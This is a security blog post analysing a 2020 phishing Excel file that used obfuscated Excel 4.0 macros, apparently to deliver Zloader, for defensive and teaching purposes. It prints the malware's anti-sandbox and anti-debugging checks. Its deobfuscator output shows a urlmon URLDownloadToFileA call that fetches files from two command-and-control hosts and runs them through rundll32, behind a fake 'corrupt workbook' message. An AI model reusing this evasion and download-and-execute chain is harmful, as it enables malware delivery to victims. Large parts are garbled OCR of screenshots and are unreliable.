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The DDE-based phishing attacks that started in 2017 have been replaced by
Microsoft Excel 4.0 Macro (XLM) phishing attacks as of 2020. A little
research would show that XLM macros have been introduced to the world since
1992, with the release of Microsoft Excel 4.0. VBA macros, which are
frequently misused by threat actors, were first introduced with Excel 5.0 and
are still supported in the latest version of Microsoft Office.

If my memory serves me correctly, the first technical article I read about
XLM macros was this blog post from Outflank. As research on XLM macros
started to reveal their existence, it began to attract attention not only
from offensive security experts but also from threat actors. Soon enough,
organizations began to experience phishing attacks that contained XLM macros.
Due to the difficulty of detecting and analyzing XLM macros as compared to
VBA macros, it is not an easy task.

The difficulty in analyzing an Office file containing XLM macros, as I stated
in my blog post titled “Microsoft Office Macro Analysis”, is caused by the
fact that they cannot be easily viewed from the Microsoft Office interface.
As a result, the possibility of malicious XLM macro-containing Office files
going unnoticed by inexperienced cybersecurity professionals (such as “This
Office file is corrupted” or “Does not contain macros”) increases. In order
to show cybersecurity analysts how XLM macro-containing Microsoft Office
files can be analyzed and to raise awareness about XLM macro-containing
Microsoft Office files, I decided to write a blog post based on a real-life
incident.

In May 2020, alarms began to be generated for many SMTP IP addresses from
which hundreds of emails with sender addresses ending in @wp.pl were sent and
blocked by security systems. Upon inspection, the emails had attachments with
XLS extension, Excel files that have been randomly named. In such cases, one
of the most important steps for cybersecurity analysts to take is to identify
the addresses of the command and control centers in the malicious document,
search for them in web traffic records, and block access throughout the
organization.


https://www.hack4career.com/excel-4-0-macro-xlm-analysis/
https://www.hack4career.com/excel-4-0-macro-xlm-analysis/
https://blog.malwarebytes.com/threat-analysis/2017/10/old-ms-office-feature-weaponized-in-malspam-attacks/
https://en.wikipedia.org/wiki/Microsoft_Excel#Excel_4.0_(1992)
https://en.wikipedia.org/wiki/Microsoft_Excel#Excel_5.0_(1993)
https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/
https://www.mertsarica.com/microsoft-office-makro-analizi/

0f course, when the issue at hand is an Office file containing XLM macros,
it’s possible that static and dynamic analysis performed by sandbox systems
may be insufficient in the face of anti-sandbox techniques (e.g. Sandbox
Detection). If the malicious Excel file in question is designed to detect
when it is running in a sandbox, then the address of the command and control
center will not be revealed during these analyses (VirusTotal, Hybrid-
Analysis). In this case, the cybersecurity analyst’s job should be to take
the malicious Excel file, copy it to a virtual system created for the purpose
of malware analysis, and analyze it there.

When running the Excel file in a virtual system, we are presented with two
pages (Sheetl and Sheet2). The first page contains a fake image/message
indicating that we need to activate the macro to achieve its malicious
intent, while the second page shows empty cells (which are not actually
empty). Although Excel may warn us that there is a macro in the file, when we
view the macro, it appears to be empty.

This kind of macro-based attack often called “Fileless attack” or “Living-
off-the-land attack” because it doesn’t involve in injecting code into the

system or download any malicious file. Instead, it makes use of the system’s

legitimate tools in order to perform its malicious action, thus it’s harder
to detect.
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When opening the file with any hex editor and looking at the character
strings contained within, we can see that, as suspected from the Excel 4.0
Macros series, it contains XLM macros. To be sure that the file contains a
macro, when we analyzed the file with the mraptor tool, we could see that the
file had a cell named Auto Open, which was capable of running automatically,
similar to the AutoOpen() function in a VBA macro. To learn the name of the
cell and view and analyze it, I used Didier STEVENS’ oledump tool. And by
using (oledump.py -p plugin biff.py —pluginoptions “-o LABEL -s”
C:\Users\Mert\Desktop\ea74b9a274c0c73cad990ddd089927b6.x1ls) I found that the
cell that was first run was named Auto OpencfitK. This is a clever technique
used by the malware developer to evade detection. Knowing that an analyst
would use Go To (CTRL-G) in Excel to go to the cell named Auto Open to start
the analysis, the developer changed the name of the cell to Auto OpencfitK


https://github.com/decalage2/oletools/wiki/mraptor
https://www.linkedin.com/in/didierstevens/
https://blog.didierstevens.com/programs/oledump-py/
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After we found out that the initial cell was an obfuscated macro consisting
of 42 FORMULA statements and CHAR functions throughout the file, analyzing
and solving each one of them one by one would have taken a significant amount
of time. So I decided to proceed with debugging. By going to the

Auto OpencfitK cell and pressing ALT + F8, I then pressed the Step Into
button, and Excel prompted me to allow the macro to run and then close and
re-open the file. As soon as the file was opened, Excel quickly moved to the
Auto OpencfitK cell. To avoid missing this step, I changed the formula
=SET.VALUE (FG22029, -490-GET.CELL(17,HX17320)) in that cell to =HALT() and
this caused the macro to end. After this, I changed the =HALT() formula to
=SET.VALUE(FG22029, -490-GET.CELL(17,HX17320)) and then by pressing the ALT +
F8 on the cell, I was able to dynamically analyze the macro from the initial

cell without any issues.
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As I continued analyzing by using Step Into and Evaluate buttons, and
decoding the hidden cells, I saw that the macro uses various controls against
debugging and sandbox environments by using Excel 4.0 Macro Functions
Reference document. When I reached the AT41104 cell, which is performing the
debugging control, to bypass this control, I copied the =GOTO(AY23948) value
in the next cell where it would continue if debugging is not detected.

=IF (GET.WORKSPACE(31),G0TO(HV23758),) Is the macro in debugging mode? (Anti-
debugging)

=IF(GET.WORKSPACE(19),,G0TO(HV23758),) Is a mouse present on the system?
(Anti-sandbox)

=IF (GET.WORKSPACE(42),,G0TO(HV23758),) Can the system play sound? (Anti-
sandbox)

These statements or functions checks whether macro is running in a sandbox
environment or on a real machine or if it’s in debugging mode.It also try to
detect other anti-sandbox evasions like Mouse or sound. These checks used by
malware developer to avoid detection, and prevent the macro from running when
it’s running in an environment that the attacker doesn’t want it to run in.


https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf
https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf
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Excel 4.0 Macro Functions Reference

2537653

Page length

Logical value indicating whether to wait after printing each page
(TRUE) or use continuous form feeding (FALSE)

Logical value indicating whether the printer has automatic line
feeding (TRUE) or requires line feed characters (FALSE)

The number of the printer port

@fmyOnlineTraininghub

If a currently running macro is in single step mode, returns
TRUE; otherwise, returns FALSE.

The current location of Microsoft Excel as a complete path.

A horizontal array of the names in the New list, in the order
they appear.

A horizontal array of template files (with complete paths) in the
New list, in the order they appear (returns the names of custom
template files and the #N/A error value for built-in document
types)

If a macro is paused, returns TRUE; FALSE otherwise.

If the Allow Cell Drag And Drop check box is selected in the Edit
tab of the Options dialog box that appears when you dlick the

Options command on the Tools menu, returns TRUE; otherwise,
returns FALSE.

A 45-item horizontal array of the items related to country
versions and settings. Use the following macro formula to return
a specific item, where number is a number in the list below:

INDEX (GET.WORKSPACE (37) , number)

- X
ox 9 O0OMMBYO O @O
Other bookmarks




Paste

eal4b9a274c0cT3cad990ddd089927b6 s [Int'] [Shared] [Compatibility Mode] - Excel (Product Activation Failed)

Inset  Pagelayout  Formulas  Data  Review

36 cut & e

Calibri - - A A - 5 WapText General - Normal
ER Copy ~ =
J T (e Merge & Center - B2+ 9% » | 58 58
 Format Painter 3 ** | Formatting = Table
Clipboard I} Font 1 Alignment I Number I
ATALILL v F
AT AU AV AW AX

Bad

Conditional Format as || t=s "ge=|} Explanatory

AY

Style:

Good

s

Neutral

Linked Ce

BA

BB

41104
41105
41106]
21107|
41108
41109
41110

=FORMULA FILL(CHAR(FG22029BY34895) &CHAR(CB44508-1P29128) &( S
F{GET.WORKSPACE(31), GOTO(HV23758),)
=GOTO[AY23948)

1

41111

41112|
41113
41114
41115
41116
41117
41118
41119
41120
41121
41122
41123
41124
41125
41126
41127
41128
41129
41130
41131
41132
41133
a112a

Ready

s X Cut
Em Copy ~

Paste

Clipbaard 5

SUM

Sheetl | Sheet2

Inset  Pagelayout  Formulas  Data  Review

Normal

Conditional Format as | [T

Formatting ~ Table

Calibri n F& « Wrap Text General Bad Good

A lerge & Center % it Input
¥ Format Painter ru A =] Merge & Cent,

Fant Alignment Number styles

Note

Insert Delete Format

cels

>

& Clear~

i

Signin

oSum = p
Sort & Find &
Filter - Select ~

Editing

n

)

i X« Jo | =FORMULA.FILL(CHAR(FG22029*BV34896)&CHAR(CBA4508-1P29128) & CHAR(AR51699-1545266) & CHAR(CE HAR(G136317/823699) &C}

AT AU | AV | AW AX AY Az

2%CK53811)&C)

BA

BB

BC

8D BE

a1104]

41107
41108|
41109)|
a1110|
a1111|
41112|
41113|
41114
a1115|
a1116|
1117
a1113|
41119|
41120|
41121
41122
41123
41124
41125|
41126|
41127
41123
41129
41130|
41131
41132
41133
a1124)

=FORMULA.FILL(CHAR(FG.
41105|CHAR DI59064+U15047) & CHAR(GI36317/HF5916) &CHAR(AR51699/BQ10984) &CHAR DIS9064-FU20334) &CHAR(CBA4508/ AJ6841) &CHAR(BY37681°
41106|HC13071)&CHAR (BDA7288-BR1424). )

CHAR (BY3

HAR(G136317/B73699)&Ct *CK53811)8CHAR(

HAR(CE

)& CHAR(

HAR(CB4Zb

HAR(CB44508¥142532) &CHAR(BDA:

CHAR(CK33913/BCA641) &CH

HAR HA

136317/ ) ) &CHAR(BD4:

HAR|

HAR( 47)&CHAR (BD4; E: RA20: HAR(F

CHAR (number)

118) &CH HAR(6136317/5431

7-CLATAL4)

7-FIS7S

HAR(CBA4508/D15017) & CHAR(FG22029/GT28301)&CHAR|BY37681+BR18307) &

HAR(BDA47288-DR1058) &CHAR(DI53064/

CAB2553) &CHAR(ARS1699-BX20019) &CHAR( BD47288HW59142) &

HAR(DIS3064-X48198) &CHAR BY376817717627),AT41105)

Edit

Sheetl | Sheet2 [

£ Share

HAR(CBA4508/D15017)&CHAR(FG22029/



[]

€a74b92274 DcT3cad990ddd0BI82Tb6 xls [Int] [Shared] [Compatibility Mode] - Excel (Product Activation Failed)

Inset  Pagelayout  Formulas  Data View  Q Tell me what you want to do Signin

n = e T
s"m Calibri B Wrap Text General - - Normal Bad Good Neutral E ot ‘%Y p
£ Gopy ~ = - - Fill -

Paste Y B IU- Merge & Center - | G2~ 9 » | %3 99 | Conditional Format as [TTeaT] Explanatory ... Linked Ce Note | Insett Delete Format Sort& Find &

 Format Painter Formatting - Table - - . &ler Fifer- Select

Clipboard [} Font 5 Alignment [ Number 5 Styles Cells Editing ~

Ausi v pa v

AT AU AV AW AX AY Az BA 88 BC BD -

41104|=G0TO(AY23948)

41105|=IF(GET.WORKSPACE(31),GOTO(HV23758),)
a1106|
41107
41108
a1109|
41110
a1 I
an112|
41113
an14|
41115
a1116|
1117,

41118/

41119)

41120/

41121

41122
a1123|
41124|
41125
41126|
1127

a1128|
41129|
a1130|
ans1
a3
a1133
1124

Sheetl | Sheet2 @ ] V]

npatibilty

Signin £ Share

Inset  Pagelayout  Formulas  Data  Review  View

= cut = AutoSum
E3 Copy ~ Fill

Paste N n W— % » | 5 9 | Condiionsl Formotes | [T o Note e ey Sotd Find&
. Format Painter o Formatting ~ Tat & Clear~ Filter~ Select

Calibri 1 A A L4 Wrap Text General Normal Bad Good eu

Clipboard [} Font Alignment Number Styles Cells Editing IS

GZ57133 J || =FORMULA.|

LL(CHAR(GI36317-GO62613)&Ct )&CHAR HAR(CK339137BJ64525) &CHAR (CBA4507° Fi &CHAR(D! ) ) &CHAR(CK33913+CK45619) &CHAR(HWA5041-DUS4703) &CHAR( Y

6z S

57110|
57111

57112

s7113|
57114
57115

57116
= B Single Step ==

57117,
57118 Cel

57119

57120/

57121

57122|
57123 [Cstepinto ) [ evawate J[ mar  J[ eote |

ormula:
=IF(GETWORKSPACE(19], GOTO HVZ3756))

L [ steeover J[ Pawse |[ continue J[  hew |
57125
57126|
57127
57128
57129
57130|
57131
57132|
57133
57134|
57135
57136|
57137
57138
57139|=FORMULA. FILL(CHAR{GI36317-GO52613)&CHAR( FG22025- IE39678) &CHAR( AR51698-GM10338) &CHAR(CK 33913781 64525) &CHAR(CBA4507* FRS6685) &.CHAR{DISS063/ P 50295) &CHAR(ARS1698- HEI612) &RCHAR(CK33913+CKAS615) &CHAR(HWA45041-DU54703) &CHAR( GFA5449/143072) &CHAR(ARS 1698-+CW25357
s710l

| sheetr | sheetz @ [
Ready [] m
@ Excel 40 Macro Functions Refere X + - X

¢ > C O & di3owosTizppcl 4,0%20Macro%20Funct o ox s O0OMmMBHB B O @O

&V Hackd Career. Infor.. [ Linkedin W Mert SARICA (merts. W Yerisaretleri M Inbox - mertsarica. Other bookmarks
4 = Data Entry
5 = Unused
6 = Copy and Data Entry

7 = Cut and Data Entry
If no special mode is set, returns 0.

11 X position of the Microsoft Excel workspace window, measured
in points from the left edge of the screen to the left edge of the
window. In Microsoft Excel for the Macintosh, always returns 0.

12 Y position of the Microsoft Excel workspace window, measured
in points from the top edge of the screen to the top edge of the
window. In Microsoft Excel for the Macintosh, always returns 0.

13 Usable workspace width, in points.
14 Usable workspace height, in points.
15 Number indicating maximized or minimized status of Microsoft
Excel:
1 = Neither

2 = Minimized
3 = Maximized
Microsoft Excel for the Macintosh always retums 3.

16 Amount of memory free (in kilobytes).
17 Total memory available to Microsoft Excel (in kilobytes).
18 If a math coprocessor is present, returns TRUE; otherwise,

returns FALSE.

19 ———p Ifa mouse is present, returns TRUE; otherwise, returns FALSE.
In Microsoft Excel for the Macintosh, always returns TRUE.

20 If a group is present in the workspace, returns a horizontal
array of sheets in the group; otherwise retums the #N/A error
value.
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42 = TRUE if leading zero is shown in days (when days are
displayed as numbers); otherwise, returns FALSE.

43 = TRUE if using four-digit years; FALSE if using two-digit
years.

44 = TRUE if date order is month-day-year when displaying
dates in long form; FALSE if date order is day-month-year.
45 = TRUE if leading zero is shown in the time; otherwise,
returns FALSE.

The number 0, 1, or 2 indicating the type of error-checking as
set by the ERROR function. For more information, see ERROR.

A reference in R1C1-text form to the currently defined error-
handling macro (set by the ERROR function), or the #N/A error
value if none is specified.

If sereen updating is turned on (set by the ECHO function),
returns TRUE; otherwise, returns FALSE.

A horizontal array of cell ranges, as R1CL-style text, that were
previously selected with the Go To command from the Edit
menu or the FORMULA.GOTO macro function. If the book has
multiple sheets, or if the single sheet in the workbook is named
differently than the workbook itself, returns names as
[Book]Sheet.

If your computer is capable of playing sounds, returns TRUE;
otherwise, returns FALSE.

If your computer is capable of recording sounds, returns TRUE;
otherwise, returns FALSE.

A three-column array of all currently registered procedures in
dynamic link libraries (DLLS). The first column contains the
names of the DLLS that contain the procedures (in Microsoft
Excel for Windows) or the names of the files that contain the
code resources (in Microsoft Excel for the Macintosh). The
second column contains the names of the procedures in the
DLLs (in Microsoft Excel for Windows) or code resources (in
Microsoft Excel for the Macintosh). The third column contains
text strings specifying the data types of the return values, and
the number and data types of the arguments. For more
information about DLLs and code resources and data types, see
Using the CALL and REGISTER functions in Microsoft Excel Help

As I continued debugging, I noticed that the macro attempts to connect to
https://docs.microsoft.com/en-us/officeupdates/office-msi-non-security-update
s to check for internet connection and stops running if it encounters an
error. I also observed that macro checks for permission for macro usage via
registry, After that it try to contact with
https://dehabadi[.]ir/wp-keys[.]php and
https://eleventalents[.]com/wp-keys[.]php. Although these addresses were not
active during my analysis, my research led me to suspect that these addresses
are command and control servers associated with the Zloader malware. Even
though I couldn’t continue my analysis, my aim was reached successfully by
revealing these addresses.


https://twitter.com/hashtag/zloader
https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader
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e PCissues: 2 important messages

With this explanation you have a basic understanding of the subject matter,
now you can use a tool such as XLMMacroDeobfuscator to quickly solve the
hidden XLM macro and save time. With this article I hope to provide insight
for analysts who want to analyze XLM macros.

Hope to see you in the following articles.


https://github.com/DissectMalware/XLMMacroDeobfuscator
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File: C:slUserssMert-~Desktopea?4h?a274clc?3cad??8dddB@8?227ht . x1s

[Loading Cells]

auto_open: auto_open—>Sheet2!SHPL243084

[Starting Deohfuscationl
CELL:=HP243084 » FullEvaluation
CELL:=HF24385 FullEvaluation
CELL:=FBS54728 FullEvaluation
CELL:=FB54721 FullEvaluation
CELL:=CBG6172 FullEvaluation
CELL:=CBG6173 FullEvaluation
CELL=HB?779 FullEvaluation
CELL:=HB?7808 FullEvaluation
CELL:=Z1238 FullEvaluation
CELL:=Z123%9 FullEvaluation
CELL:=F63714 FullEvaluation
CELL:=FG3715 FullEvaluation
CELL:=H58494 FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
PartialEvaluat
FullEvaluation
H » FullEvaluation
G161 1>, 2", BOe2229>
CELL:=BGQh2227 » FullEvaluation
CELL:=BG62236 » FullEvaluation
CELL:DHG6B448 » FullEvaluation
BIICI1181>>"  DHoBA441 >
CELL :=DH6A441 » FullEvaluation

]
»
]
»
]
»
]
»
]
»
]
»
]
»
]
»
]
»
]
»
]
»
]
»

ion

LR D D A I D D R B B DR D DO DR DN DNNE RENE DN RN DN BN R B B

SET .UALUECFG22029 . -509>
RUH<{Sheet2!FB54728>

SET .UALUECCK33913,.186>
GOTOCCEG172 >

SET .UALUECBD47287.-586 .25
RUH{SheetZ*HB?779>

SET .UALUECBY37681 . -29@>
RUH<{Sheet2?Z1238>

SET .UALUECCB44587, 574>
RUH{Sheet2t*F63714>

SET .UALUECDIS?A63 , —4423
RUH{SheetZ2*H58474>

SET .UALUE{GF45449.319 .5
GOTOCCP3 2084

SET .UALUECGI36317 . —454>
RUH{Sheet2?!DS2AZ58 >

SET .UALUECHW45841 .78 .53
GOTOCDES2852

SET .WALUECARS1698,1325
RUH{Sheet2?GZ5713%>
FORMULAC"=CLOSEC(FALSE>"  HU23758 >
GOTOCEP44684 >

FORMULAC"=APP .MAXIMIZE{>" , EP44681 >
APP.MARIMNIZEC>

GOTOCBORZ2228 )
FORMULAC"=IF{GET .WINDOWC?2 . GOTOCRI-38471 1

IFCGET JMINDOWC? S . GOTOCRI-38471 1C[161 12, >
GOTOCDHEB44@ >
FORMULAC"=IF{GET .WINDOW 28>, .GOTOCRI-366

IF{GET .WINDOW< 28>, .GOTO(RI-36683 1C[118 1




Administrator: C:"..Win&ows‘l.,gg,rsten132‘\-:nld.Exe

A
GOTOCEHS 4156 >
CELL:=EH54156 » FullEvaluation

—keys .php""" . GR1784>
CELL:=EH5415% » FullEvaluation

FORMULAC"=""https: 7 eleventalents.com up

GOTOCJ194132

FORMULA<"=CALLS " "urlmon ", ""URLDown loadT
oFilef"" """ JJCCJJ"" B R[-127681CI[92]1,.RI-9661 1C[-991.8,. 82" DD14472>
CELL:=J17414 » FullEvaluation

GOTOCDC17857 >

FORMULAC"=""The workhook cannot he opene
d or repaired by Microsoft Excel because it's corrupt.''"".BEZ27866 2>
CELL:DC17858 - FullEvaluation -

GOTOCAVIIS?5 >

CELL:=AU33595% » FullEvaluation .
FORMULAC"=ALERT <RI[—-38389 1C[—1241>",.F¥Y5%?4

CELL:=J19413 » FullEvaluation

CELL:=DC1785%7 » FullEvaluation

5 FullEvaluation
GOTOCEI 44845 >

FORMULAC"=""C:»Uindowsssystem3dZ2~rund1132

CELL:=BI 44645 » FullEvaluation

exe'"" ACI4ATE5 >
CELL:=BI 44846 » FullEvaluation
RUN<Sheet2*BGZARZ5 >
CELL:=BG2A825 » FullEvaluation
FORMULAC"=RI[-287A8 1CI[-188 1&"".D11Registe
rServer'"" DE25519>
CELL:=BG2BA826 » FullEvaluation 5
GOTOCU19181 >

CELL:=U17181 » FullEvaluation 5

FORMULAC"=CALLS""She1132"", """ She 11Execut
e, """ JJCCCII" B, " open " RI-72271C[-78]1,.R[—16463 1C[1681,.8,.5>" . CU41982 >
CELL:=U12182 » FullEvaluation

RUH<Sheet2 *AGS5HE74>
CELL:=AG5A74 » FullEvaluation

CALLC "urlmon" . "URLDownloadToFileA ', "JJCC
JJUY .8, " =""https s/ dehabadi. irsup—keys cphp'tt =" o Usere s PublicvAAZ2282P L htm 1 MY
LB8.8>
CELL:=AGSA75 » FullEvaluation .

CELL:=FUW37758 » PartialEvaluation .
l!)

CELL:=FUW37751 FullEvaluation
CELL:=EGQ391°/7 FullBranching

[341>>
CELL:=EQ391°/% FullEvaluation

CELL:=EG391806 FullEvaluation
CELL = GR1784 FullEvaluation

GOTOCFU3 7582
FILES<{"=""C:~Users~Public~1A2282P.html""

RUM{Sheet2*EQ39177>
IFCISERRORCRI-14291CI[321>, .RUNCRI282%76 1C

[TRUE]
RUN<{Sheet2?GR1784>
"https:rseleventalents . comswp—ke

FullEvaluation 5
GOTOCDD14472 >

CALLS"urlmon", "URLDown loadToFile
A", " JJCCJJY B, "https i Aseleventalents .comswp—keys . php* . "=""C:xlUsers~Public~1A2282
P.html""" 8. .8>
CELL:=DD1 4473 » FullEvaluation 5

CELL:=BE29866 » FullEvaluation 5

FullEvaluation 5

RUM{Sheet2*BE298LE >

"The workbook cannot he opened o
¥ repaired by Microsoft Excel hecause it's corrupt.”
CELL:BE2986% - FullEvaluation -

— More ——
e

Note: For those looking for more resources on XLM macro analysis, I recommend
looking at these articles (#1, #2, #3, #4, #5) as well. These articles will
give more information about the analysis of XLM macros and methods that you

can use.



https://inquest.net/blog/2019/01/29/Carving-Sneaky-XLM-Files
https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros
https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-
https://clickallthethings.wordpress.com/2020/05/13/zloader-and-xlm-4-0-making-evasion-great-again/
https://code.firstlook.media/reverse-engineering-obfuscated-excel-4-macro-malware

